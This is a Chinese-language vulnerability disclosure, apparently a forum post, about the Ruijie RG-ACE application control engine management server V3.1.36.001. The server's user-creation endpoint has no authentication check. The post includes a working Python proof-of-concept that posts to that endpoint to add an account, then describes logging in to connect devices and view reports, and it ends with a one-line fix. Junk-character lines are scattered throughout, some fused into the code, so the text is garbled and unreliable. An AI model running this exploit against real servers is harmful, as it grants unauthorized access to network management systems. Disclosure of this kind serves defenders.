锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
2 {% E, j- p& I
, ~# `: Q# U" T2 ]: u5 r4 n8 k
测试的具体版本是
产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
编译时间: 201104291730
9 ]  O+ ]) e0 @' j$ R( ~& W

$ \) J$ c/ u' B# _4 Z$ t5 G) t漏洞证明：

" ~. ^6 p1 H" f" X% ?6 R2 |

# j( z" H) E0 V3 U3 Z- Y

2 Q. L" f. b& F( e8 P7 n" q  ~; W
执行脚本
/ K! m" {" V  L4 H& |#! /usr/bin/env python
#coding=gbk
8 }4 c8 y# ]/ r  `#RG-ACE管理服务器 V3.1.36.001
, h2 y; b8 d( K$ `$ ~, J( h4 w& Vimport urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
3 r, H: v0 ^' E$ s5 n( P% wopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
7 k) U6 d- A0 S  [; Aopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
- }& Z! _) _% g( \5 F("useropermanager","userManager"),
("userName","t"), #######账号自己加
( H$ ?. I+ X. X+ U" t7 Z+ h, D("pwd","aaaaaa"),######密码自己加
- M0 _6 t# K4 r9 l: V* M("trueName","ad"),
4 ]. N, N6 n/ n) W7 p("email",""),
("mobilePhone",""),
("officePhone",""),
% X6 q" S; v$ w, Z# V) l9 O( n. C6 o0 e% B("addr",""),
% q3 K+ E( X1 z5 [$ {9 I4 d% q("submit","确定"))
urllib2.install_opener(opener)
% j" j3 A/ _" \7 qp=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

登录，连接设备
4 M& v( {1 H3 @9 P
3 U: X" I7 J; O6 o7 x
. L* Z- ^1 `+ {# g0 P

# |; s0 T; [" f9 l0 R
默认的管理员admin权限更大点

- a1 v# r2 C' d  K6 U- R

" H4 L: p$ X! u5 Z7 }# y% C& g3 x  @
% B$ l. b5 P) f: i1 N
修复方案：
加强对接口的权限验证
2 w( }0 P% w2 i4 B: \: o
- N. s7 J3 \* G: X